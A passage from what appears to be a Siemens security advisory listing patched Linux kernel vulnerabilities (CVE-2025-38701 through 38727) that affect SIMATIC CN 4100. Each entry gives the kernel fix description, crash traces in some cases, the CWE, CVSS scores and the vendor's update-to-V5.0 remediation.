Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, 